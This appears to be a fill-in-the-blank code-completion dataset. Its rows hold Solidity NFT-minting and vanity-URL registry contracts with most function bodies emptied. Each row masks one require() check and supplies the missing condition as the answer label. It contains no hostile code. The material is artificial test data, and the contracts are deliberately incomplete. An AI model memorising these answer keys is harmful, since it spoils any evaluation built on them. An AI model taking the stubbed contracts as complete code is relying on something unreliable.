comment
stringlengths
1
211
input
stringlengths
155
20k
label
stringlengths
4
1k
original_idx
int64
203
514k
predicate
stringlengths
1
1k
"Tokens number to mint cannot exceed number of MAX tokens"
@v4.3.0 /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { } function _setOwner(address newOwner) private { } } contract C01Project is ERC721("C-01 Official Collection", "C-01"), ERC721Enumerable, Ownable { using SafeMath for uint256; using Strings for uint256; string private baseURI; string private blindURI; uint256 public constant BUY_LIMIT_PER_TX = 2; uint256 public constant MAX_NFT_PUBLIC = 8728; uint256 private constant MAX_NFT = 8888; uint256 public NFTPrice = 250000000000000000; // 0.25 ETH bool public reveal; bool public isActive; bool public isPresaleActive; bool private freeMintActive; bytes32 public root; uint256 public constant WHITELIST_MAX_MINT = 2; mapping(address => uint256) public whiteListClaimed; mapping(address => bool) private giveawayMintClaimed; uint256 public giveawayCount; /* * Function to reveal all C-01 */ function revealNow() external onlyOwner { } /* * Function setIsActive to activate/desactivate the smart contract */ function setIsActive( bool _isActive ) external onlyOwner { } /* * Function setPresaleActive to activate/desactivate the whitelist/raffle presale */ function setPresaleActive( bool _isActive ) external onlyOwner { } /* * Function setFreeMintActive to activate/desactivate the free mint capability */ function setFreeMintActive( bool _isActive ) external onlyOwner { } /* * Function to set Base and Blind URI */ function setURIs( string memory _blindURI, string memory _URI ) external onlyOwner { } /* * Function to withdraw collected amount during minting by the owner */ function withdraw( ) public onlyOwner { } /* * Function to mint new NFTs during the public sale * It is payable. Amount is calculated as per (NFTPrice.mul(_numOfTokens)) */ function mintNFT( uint256 _numOfTokens ) public payable { } /* * Function to mint new NFTs during the presale * It is payable. Amount is calculated as per (NFTPrice.mul(_numOfTokens)) */ function mintNFTDuringPresale( uint256 _numOfTokens, bytes32[] memory _proof ) public payable { } /* * Function to mint NFTs for giveaway and partnerships */ function mintByOwner( address _to, uint256 _tokenId ) public onlyOwner { } /* * Function to mint all NFTs for giveaway and partnerships */ function mintMultipleByOwner( address[] memory _to, uint256[] memory _tokenId ) public onlyOwner { require(_to.length == _tokenId.length, "Should have same length"); for(uint256 i = 0; i < _to.length; i++){ require(_tokenId[i] >= MAX_NFT_PUBLIC, "Tokens number to mint must exceed number of public tokens"); require(<FILL_ME>) _safeMint(_to[i], _tokenId[i]); giveawayCount = giveawayCount.add(1); } } /* * Function to get token URI of given token ID * URI will be blank untill totalSupply reaches MAX_NFT_PUBLIC */ function tokenURI( uint256 _tokenId ) public view virtual override returns (string memory) { } // Set Root for whitelist and raffle to participate in presale function setRoot(uint256 _root) onlyOwner() public { } // Verify MerkleProof function verify(bytes32[] memory proof, bytes32 leaf) public view returns (bool) { } // Standard functions to be overridden in ERC721Enumerable function supportsInterface( bytes4 _interfaceId ) public view override (ERC721, ERC721Enumerable) returns (bool) { } function _beforeTokenTransfer( address _from, address _to, uint256 _tokenId ) internal override(ERC721, ERC721Enumerable) { } }
_tokenId[i]<MAX_NFT,"Tokens number to mint cannot exceed number of MAX tokens"
370,828
_tokenId[i]<MAX_NFT
"can not mint this many"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "Ownable.sol"; import "ReentrancyGuard.sol"; import "ERC721A.sol"; import "Strings.sol"; contract OxAASC is Ownable, ERC721A, ReentrancyGuard { uint256 public immutable maxPerWallet = 100; uint256 public immutable maxPerFreeMint = 1; uint256 public immutable maxPerTx; uint256 public immutable freeMints = 100; uint256 public immutable amountForDevs; bool public publicSaleActive = false; bool public freeMintActive = false; uint256 public publicMintPrice = .01 ether; constructor( uint256 maxBatchSize_, uint256 collectionSize_, uint256 amountForDevs_ ) ERC721A("0xAzukiApes", "0xAASC", maxBatchSize_, collectionSize_) { } modifier callerIsUser() { } function publicSaleMint(uint256 quantity) external payable callerIsUser { require( totalSupply() + quantity <= collectionSize, "reached max supply" ); require(<FILL_ME>) require(quantity <= maxPerTx, "can not mint this many at one time"); require(quantity * publicMintPrice == msg.value, "incorrect funds"); require(publicSaleActive, "public sale has not begun yet"); _safeMint(msg.sender, quantity); } function freeMint() external callerIsUser { } function devMint(uint256 quantity) external onlyOwner { } string private _baseTokenURI; function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI) external onlyOwner { } function withdrawMoney() external onlyOwner nonReentrant { } function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant { } function walletQuantity(address owner) public view returns (uint256) { } function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) { } function togglePublicMint() public onlyOwner { } function toggleFreeMint() public onlyOwner { } }
walletQuantity(msg.sender)+quantity<=maxPerWallet,"can not mint this many"
370,938
walletQuantity(msg.sender)+quantity<=maxPerWallet
"incorrect funds"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "Ownable.sol"; import "ReentrancyGuard.sol"; import "ERC721A.sol"; import "Strings.sol"; contract OxAASC is Ownable, ERC721A, ReentrancyGuard { uint256 public immutable maxPerWallet = 100; uint256 public immutable maxPerFreeMint = 1; uint256 public immutable maxPerTx; uint256 public immutable freeMints = 100; uint256 public immutable amountForDevs; bool public publicSaleActive = false; bool public freeMintActive = false; uint256 public publicMintPrice = .01 ether; constructor( uint256 maxBatchSize_, uint256 collectionSize_, uint256 amountForDevs_ ) ERC721A("0xAzukiApes", "0xAASC", maxBatchSize_, collectionSize_) { } modifier callerIsUser() { } function publicSaleMint(uint256 quantity) external payable callerIsUser { require( totalSupply() + quantity <= collectionSize, "reached max supply" ); require( walletQuantity(msg.sender) + quantity <= maxPerWallet, "can not mint this many" ); require(quantity <= maxPerTx, "can not mint this many at one time"); require(<FILL_ME>) require(publicSaleActive, "public sale has not begun yet"); _safeMint(msg.sender, quantity); } function freeMint() external callerIsUser { } function devMint(uint256 quantity) external onlyOwner { } string private _baseTokenURI; function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI) external onlyOwner { } function withdrawMoney() external onlyOwner nonReentrant { } function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant { } function walletQuantity(address owner) public view returns (uint256) { } function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) { } function togglePublicMint() public onlyOwner { } function toggleFreeMint() public onlyOwner { } }
quantity*publicMintPrice==msg.value,"incorrect funds"
370,938
quantity*publicMintPrice==msg.value
"there are no more free mints!"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "Ownable.sol"; import "ReentrancyGuard.sol"; import "ERC721A.sol"; import "Strings.sol"; contract OxAASC is Ownable, ERC721A, ReentrancyGuard { uint256 public immutable maxPerWallet = 100; uint256 public immutable maxPerFreeMint = 1; uint256 public immutable maxPerTx; uint256 public immutable freeMints = 100; uint256 public immutable amountForDevs; bool public publicSaleActive = false; bool public freeMintActive = false; uint256 public publicMintPrice = .01 ether; constructor( uint256 maxBatchSize_, uint256 collectionSize_, uint256 amountForDevs_ ) ERC721A("0xAzukiApes", "0xAASC", maxBatchSize_, collectionSize_) { } modifier callerIsUser() { } function publicSaleMint(uint256 quantity) external payable callerIsUser { } function freeMint() external callerIsUser { require(<FILL_ME>) require( walletQuantity(msg.sender) + 1 <= maxPerFreeMint, "only allowed 1 free mint" ); _safeMint(msg.sender, 1); } function devMint(uint256 quantity) external onlyOwner { } string private _baseTokenURI; function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI) external onlyOwner { } function withdrawMoney() external onlyOwner nonReentrant { } function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant { } function walletQuantity(address owner) public view returns (uint256) { } function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) { } function togglePublicMint() public onlyOwner { } function toggleFreeMint() public onlyOwner { } }
totalSupply()+1<=freeMints,"there are no more free mints!"
370,938
totalSupply()+1<=freeMints
"only allowed 1 free mint"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "Ownable.sol"; import "ReentrancyGuard.sol"; import "ERC721A.sol"; import "Strings.sol"; contract OxAASC is Ownable, ERC721A, ReentrancyGuard { uint256 public immutable maxPerWallet = 100; uint256 public immutable maxPerFreeMint = 1; uint256 public immutable maxPerTx; uint256 public immutable freeMints = 100; uint256 public immutable amountForDevs; bool public publicSaleActive = false; bool public freeMintActive = false; uint256 public publicMintPrice = .01 ether; constructor( uint256 maxBatchSize_, uint256 collectionSize_, uint256 amountForDevs_ ) ERC721A("0xAzukiApes", "0xAASC", maxBatchSize_, collectionSize_) { } modifier callerIsUser() { } function publicSaleMint(uint256 quantity) external payable callerIsUser { } function freeMint() external callerIsUser { require( totalSupply() + 1 <= freeMints, "there are no more free mints!" ); require(<FILL_ME>) _safeMint(msg.sender, 1); } function devMint(uint256 quantity) external onlyOwner { } string private _baseTokenURI; function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI) external onlyOwner { } function withdrawMoney() external onlyOwner nonReentrant { } function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant { } function walletQuantity(address owner) public view returns (uint256) { } function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) { } function togglePublicMint() public onlyOwner { } function toggleFreeMint() public onlyOwner { } }
walletQuantity(msg.sender)+1<=maxPerFreeMint,"only allowed 1 free mint"
370,938
walletQuantity(msg.sender)+1<=maxPerFreeMint
null
pragma solidity ^0.4.19; /** * Contract for Vanity URL on SpringRole * Go to beta.springrole.com to try this out! */ contract Token{ function doTransfer(address _from, address _to, uint256 _value) public returns (bool); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of “user permissions”. */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { } } /** * @title VanityURL * @dev The VanityURL contract provides functionality to reserve vanity URLs. * Go to https://beta.springrole.com to reserve. */ contract VanityURL is Ownable,Pausable { // This declares a state variable that would store the contract address Token public tokenAddress; // This declares a state variable that mapping for vanityURL to address mapping (string => address) vanity_address_mapping; // This declares a state variable that mapping for address to vanityURL mapping (address => string ) address_vanity_mapping; // This declares a state variable that stores pricing uint256 public reservePricing; // This declares a state variable address to which token to be transfered address public transferTokenTo; /* constructor function to set token address & Pricing for reserving and token transfer address */ function VanityURL(address _tokenAddress, uint256 _reservePricing, address _transferTokenTo){ } event VanityReserved(address _to, string _vanity_url); event VanityTransfered(address _to,address _from, string _vanity_url); event VanityReleased(string _vanity_url); /* function to update Token address */ function updateTokenAddress (address _tokenAddress) onlyOwner public { } /* function to update transferTokenTo */ function updateTokenTransferAddress (address _transferTokenTo) onlyOwner public { } /* function to set reserve pricing */ function setReservePricing (uint256 _reservePricing) onlyOwner public { } /* function to retrive wallet address from vanity url */ function retrieveWalletForVanity(string _vanity_url) constant public returns (address) { } /* function to retrive vanity url from address */ function retrieveVanityForWallet(address _address) constant public returns (string) { } /* function to reserve vanityURL 1. Checks if vanity is check is valid 2. Checks if address has already a vanity url 3. check if vanity url is used by any other or not 4. Check if vanity url is present in reserved keyword 5. Transfer the token 6. Update the mapping variables */ function reserve(string _vanity_url) whenNotPaused public { _vanity_url = _toLower(_vanity_url); require(<FILL_ME>) require(vanity_address_mapping[_vanity_url] == address(0x0)); require(bytes(address_vanity_mapping[msg.sender]).length == 0); require(tokenAddress.doTransfer(msg.sender,transferTokenTo,reservePricing)); vanity_address_mapping[_vanity_url] = msg.sender; address_vanity_mapping[msg.sender] = _vanity_url; VanityReserved(msg.sender, _vanity_url); } /* function to make lowercase */ function _toLower(string str) internal returns (string) { } /* function to verify vanityURL 1. Minimum length 4 2.Maximum lenght 200 3.Vanity url is only alphanumeric */ function checkForValidity(string _vanity_url) returns (bool) { } /* function to change Vanity URL 1. Checks whether vanity URL is check is valid 2. Checks if address has already a vanity url 3. check if vanity url is used by any other or not 4. Check if vanity url is present in reserved keyword 5. Update the mapping variables */ function changeVanityURL(string _vanity_url) whenNotPaused public { } /* function to transfer ownership for Vanity URL */ function transferOwnershipForVanityURL(address _to) whenNotPaused public { } /* function to transfer ownership for Vanity URL by Owner */ function reserveVanityURLByOwner(address _to,string _vanity_url) whenNotPaused onlyOwner public { } /* function to release a Vanity URL by Owner */ function releaseVanityUrl(string _vanity_url) whenNotPaused onlyOwner public { } /* function to kill contract */ function kill() onlyOwner { } /* transfer eth recived to owner account if any */ function() payable { } }
checkForValidity(_vanity_url)
370,944
checkForValidity(_vanity_url)
null
pragma solidity ^0.4.19; /** * Contract for Vanity URL on SpringRole * Go to beta.springrole.com to try this out! */ contract Token{ function doTransfer(address _from, address _to, uint256 _value) public returns (bool); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of “user permissions”. */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { } } /** * @title VanityURL * @dev The VanityURL contract provides functionality to reserve vanity URLs. * Go to https://beta.springrole.com to reserve. */ contract VanityURL is Ownable,Pausable { // This declares a state variable that would store the contract address Token public tokenAddress; // This declares a state variable that mapping for vanityURL to address mapping (string => address) vanity_address_mapping; // This declares a state variable that mapping for address to vanityURL mapping (address => string ) address_vanity_mapping; // This declares a state variable that stores pricing uint256 public reservePricing; // This declares a state variable address to which token to be transfered address public transferTokenTo; /* constructor function to set token address & Pricing for reserving and token transfer address */ function VanityURL(address _tokenAddress, uint256 _reservePricing, address _transferTokenTo){ } event VanityReserved(address _to, string _vanity_url); event VanityTransfered(address _to,address _from, string _vanity_url); event VanityReleased(string _vanity_url); /* function to update Token address */ function updateTokenAddress (address _tokenAddress) onlyOwner public { } /* function to update transferTokenTo */ function updateTokenTransferAddress (address _transferTokenTo) onlyOwner public { } /* function to set reserve pricing */ function setReservePricing (uint256 _reservePricing) onlyOwner public { } /* function to retrive wallet address from vanity url */ function retrieveWalletForVanity(string _vanity_url) constant public returns (address) { } /* function to retrive vanity url from address */ function retrieveVanityForWallet(address _address) constant public returns (string) { } /* function to reserve vanityURL 1. Checks if vanity is check is valid 2. Checks if address has already a vanity url 3. check if vanity url is used by any other or not 4. Check if vanity url is present in reserved keyword 5. Transfer the token 6. Update the mapping variables */ function reserve(string _vanity_url) whenNotPaused public { _vanity_url = _toLower(_vanity_url); require(checkForValidity(_vanity_url)); require(<FILL_ME>) require(bytes(address_vanity_mapping[msg.sender]).length == 0); require(tokenAddress.doTransfer(msg.sender,transferTokenTo,reservePricing)); vanity_address_mapping[_vanity_url] = msg.sender; address_vanity_mapping[msg.sender] = _vanity_url; VanityReserved(msg.sender, _vanity_url); } /* function to make lowercase */ function _toLower(string str) internal returns (string) { } /* function to verify vanityURL 1. Minimum length 4 2.Maximum lenght 200 3.Vanity url is only alphanumeric */ function checkForValidity(string _vanity_url) returns (bool) { } /* function to change Vanity URL 1. Checks whether vanity URL is check is valid 2. Checks if address has already a vanity url 3. check if vanity url is used by any other or not 4. Check if vanity url is present in reserved keyword 5. Update the mapping variables */ function changeVanityURL(string _vanity_url) whenNotPaused public { } /* function to transfer ownership for Vanity URL */ function transferOwnershipForVanityURL(address _to) whenNotPaused public { } /* function to transfer ownership for Vanity URL by Owner */ function reserveVanityURLByOwner(address _to,string _vanity_url) whenNotPaused onlyOwner public { } /* function to release a Vanity URL by Owner */ function releaseVanityUrl(string _vanity_url) whenNotPaused onlyOwner public { } /* function to kill contract */ function kill() onlyOwner { } /* transfer eth recived to owner account if any */ function() payable { } }
vanity_address_mapping[_vanity_url]==address(0x0)
370,944
vanity_address_mapping[_vanity_url]==address(0x0)
null
pragma solidity ^0.4.19; /** * Contract for Vanity URL on SpringRole * Go to beta.springrole.com to try this out! */ contract Token{ function doTransfer(address _from, address _to, uint256 _value) public returns (bool); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of “user permissions”. */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { } } /** * @title VanityURL * @dev The VanityURL contract provides functionality to reserve vanity URLs. * Go to https://beta.springrole.com to reserve. */ contract VanityURL is Ownable,Pausable { // This declares a state variable that would store the contract address Token public tokenAddress; // This declares a state variable that mapping for vanityURL to address mapping (string => address) vanity_address_mapping; // This declares a state variable that mapping for address to vanityURL mapping (address => string ) address_vanity_mapping; // This declares a state variable that stores pricing uint256 public reservePricing; // This declares a state variable address to which token to be transfered address public transferTokenTo; /* constructor function to set token address & Pricing for reserving and token transfer address */ function VanityURL(address _tokenAddress, uint256 _reservePricing, address _transferTokenTo){ } event VanityReserved(address _to, string _vanity_url); event VanityTransfered(address _to,address _from, string _vanity_url); event VanityReleased(string _vanity_url); /* function to update Token address */ function updateTokenAddress (address _tokenAddress) onlyOwner public { } /* function to update transferTokenTo */ function updateTokenTransferAddress (address _transferTokenTo) onlyOwner public { } /* function to set reserve pricing */ function setReservePricing (uint256 _reservePricing) onlyOwner public { } /* function to retrive wallet address from vanity url */ function retrieveWalletForVanity(string _vanity_url) constant public returns (address) { } /* function to retrive vanity url from address */ function retrieveVanityForWallet(address _address) constant public returns (string) { } /* function to reserve vanityURL 1. Checks if vanity is check is valid 2. Checks if address has already a vanity url 3. check if vanity url is used by any other or not 4. Check if vanity url is present in reserved keyword 5. Transfer the token 6. Update the mapping variables */ function reserve(string _vanity_url) whenNotPaused public { _vanity_url = _toLower(_vanity_url); require(checkForValidity(_vanity_url)); require(vanity_address_mapping[_vanity_url] == address(0x0)); require(<FILL_ME>) require(tokenAddress.doTransfer(msg.sender,transferTokenTo,reservePricing)); vanity_address_mapping[_vanity_url] = msg.sender; address_vanity_mapping[msg.sender] = _vanity_url; VanityReserved(msg.sender, _vanity_url); } /* function to make lowercase */ function _toLower(string str) internal returns (string) { } /* function to verify vanityURL 1. Minimum length 4 2.Maximum lenght 200 3.Vanity url is only alphanumeric */ function checkForValidity(string _vanity_url) returns (bool) { } /* function to change Vanity URL 1. Checks whether vanity URL is check is valid 2. Checks if address has already a vanity url 3. check if vanity url is used by any other or not 4. Check if vanity url is present in reserved keyword 5. Update the mapping variables */ function changeVanityURL(string _vanity_url) whenNotPaused public { } /* function to transfer ownership for Vanity URL */ function transferOwnershipForVanityURL(address _to) whenNotPaused public { } /* function to transfer ownership for Vanity URL by Owner */ function reserveVanityURLByOwner(address _to,string _vanity_url) whenNotPaused onlyOwner public { } /* function to release a Vanity URL by Owner */ function releaseVanityUrl(string _vanity_url) whenNotPaused onlyOwner public { } /* function to kill contract */ function kill() onlyOwner { } /* transfer eth recived to owner account if any */ function() payable { } }
bytes(address_vanity_mapping[msg.sender]).length==0
370,944
bytes(address_vanity_mapping[msg.sender]).length==0
null
pragma solidity ^0.4.19; /** * Contract for Vanity URL on SpringRole * Go to beta.springrole.com to try this out! */ contract Token{ function doTransfer(address _from, address _to, uint256 _value) public returns (bool); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of “user permissions”. */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { } } /** * @title VanityURL * @dev The VanityURL contract provides functionality to reserve vanity URLs. * Go to https://beta.springrole.com to reserve. */ contract VanityURL is Ownable,Pausable { // This declares a state variable that would store the contract address Token public tokenAddress; // This declares a state variable that mapping for vanityURL to address mapping (string => address) vanity_address_mapping; // This declares a state variable that mapping for address to vanityURL mapping (address => string ) address_vanity_mapping; // This declares a state variable that stores pricing uint256 public reservePricing; // This declares a state variable address to which token to be transfered address public transferTokenTo; /* constructor function to set token address & Pricing for reserving and token transfer address */ function VanityURL(address _tokenAddress, uint256 _reservePricing, address _transferTokenTo){ } event VanityReserved(address _to, string _vanity_url); event VanityTransfered(address _to,address _from, string _vanity_url); event VanityReleased(string _vanity_url); /* function to update Token address */ function updateTokenAddress (address _tokenAddress) onlyOwner public { } /* function to update transferTokenTo */ function updateTokenTransferAddress (address _transferTokenTo) onlyOwner public { } /* function to set reserve pricing */ function setReservePricing (uint256 _reservePricing) onlyOwner public { } /* function to retrive wallet address from vanity url */ function retrieveWalletForVanity(string _vanity_url) constant public returns (address) { } /* function to retrive vanity url from address */ function retrieveVanityForWallet(address _address) constant public returns (string) { } /* function to reserve vanityURL 1. Checks if vanity is check is valid 2. Checks if address has already a vanity url 3. check if vanity url is used by any other or not 4. Check if vanity url is present in reserved keyword 5. Transfer the token 6. Update the mapping variables */ function reserve(string _vanity_url) whenNotPaused public { _vanity_url = _toLower(_vanity_url); require(checkForValidity(_vanity_url)); require(vanity_address_mapping[_vanity_url] == address(0x0)); require(bytes(address_vanity_mapping[msg.sender]).length == 0); require(<FILL_ME>) vanity_address_mapping[_vanity_url] = msg.sender; address_vanity_mapping[msg.sender] = _vanity_url; VanityReserved(msg.sender, _vanity_url); } /* function to make lowercase */ function _toLower(string str) internal returns (string) { } /* function to verify vanityURL 1. Minimum length 4 2.Maximum lenght 200 3.Vanity url is only alphanumeric */ function checkForValidity(string _vanity_url) returns (bool) { } /* function to change Vanity URL 1. Checks whether vanity URL is check is valid 2. Checks if address has already a vanity url 3. check if vanity url is used by any other or not 4. Check if vanity url is present in reserved keyword 5. Update the mapping variables */ function changeVanityURL(string _vanity_url) whenNotPaused public { } /* function to transfer ownership for Vanity URL */ function transferOwnershipForVanityURL(address _to) whenNotPaused public { } /* function to transfer ownership for Vanity URL by Owner */ function reserveVanityURLByOwner(address _to,string _vanity_url) whenNotPaused onlyOwner public { } /* function to release a Vanity URL by Owner */ function releaseVanityUrl(string _vanity_url) whenNotPaused onlyOwner public { } /* function to kill contract */ function kill() onlyOwner { } /* transfer eth recived to owner account if any */ function() payable { } }
tokenAddress.doTransfer(msg.sender,transferTokenTo,reservePricing)
370,944
tokenAddress.doTransfer(msg.sender,transferTokenTo,reservePricing)
null
pragma solidity ^0.4.19; /** * Contract for Vanity URL on SpringRole * Go to beta.springrole.com to try this out! */ contract Token{ function doTransfer(address _from, address _to, uint256 _value) public returns (bool); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of “user permissions”. */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { } } /** * @title VanityURL * @dev The VanityURL contract provides functionality to reserve vanity URLs. * Go to https://beta.springrole.com to reserve. */ contract VanityURL is Ownable,Pausable { // This declares a state variable that would store the contract address Token public tokenAddress; // This declares a state variable that mapping for vanityURL to address mapping (string => address) vanity_address_mapping; // This declares a state variable that mapping for address to vanityURL mapping (address => string ) address_vanity_mapping; // This declares a state variable that stores pricing uint256 public reservePricing; // This declares a state variable address to which token to be transfered address public transferTokenTo; /* constructor function to set token address & Pricing for reserving and token transfer address */ function VanityURL(address _tokenAddress, uint256 _reservePricing, address _transferTokenTo){ } event VanityReserved(address _to, string _vanity_url); event VanityTransfered(address _to,address _from, string _vanity_url); event VanityReleased(string _vanity_url); /* function to update Token address */ function updateTokenAddress (address _tokenAddress) onlyOwner public { } /* function to update transferTokenTo */ function updateTokenTransferAddress (address _transferTokenTo) onlyOwner public { } /* function to set reserve pricing */ function setReservePricing (uint256 _reservePricing) onlyOwner public { } /* function to retrive wallet address from vanity url */ function retrieveWalletForVanity(string _vanity_url) constant public returns (address) { } /* function to retrive vanity url from address */ function retrieveVanityForWallet(address _address) constant public returns (string) { } /* function to reserve vanityURL 1. Checks if vanity is check is valid 2. Checks if address has already a vanity url 3. check if vanity url is used by any other or not 4. Check if vanity url is present in reserved keyword 5. Transfer the token 6. Update the mapping variables */ function reserve(string _vanity_url) whenNotPaused public { } /* function to make lowercase */ function _toLower(string str) internal returns (string) { } /* function to verify vanityURL 1. Minimum length 4 2.Maximum lenght 200 3.Vanity url is only alphanumeric */ function checkForValidity(string _vanity_url) returns (bool) { } /* function to change Vanity URL 1. Checks whether vanity URL is check is valid 2. Checks if address has already a vanity url 3. check if vanity url is used by any other or not 4. Check if vanity url is present in reserved keyword 5. Update the mapping variables */ function changeVanityURL(string _vanity_url) whenNotPaused public { require(<FILL_ME>) _vanity_url = _toLower(_vanity_url); require(checkForValidity(_vanity_url)); require(vanity_address_mapping[_vanity_url] == address(0x0)); vanity_address_mapping[_vanity_url] = msg.sender; address_vanity_mapping[msg.sender] = _vanity_url; VanityReserved(msg.sender, _vanity_url); } /* function to transfer ownership for Vanity URL */ function transferOwnershipForVanityURL(address _to) whenNotPaused public { } /* function to transfer ownership for Vanity URL by Owner */ function reserveVanityURLByOwner(address _to,string _vanity_url) whenNotPaused onlyOwner public { } /* function to release a Vanity URL by Owner */ function releaseVanityUrl(string _vanity_url) whenNotPaused onlyOwner public { } /* function to kill contract */ function kill() onlyOwner { } /* transfer eth recived to owner account if any */ function() payable { } }
bytes(address_vanity_mapping[msg.sender]).length!=0
370,944
bytes(address_vanity_mapping[msg.sender]).length!=0
null
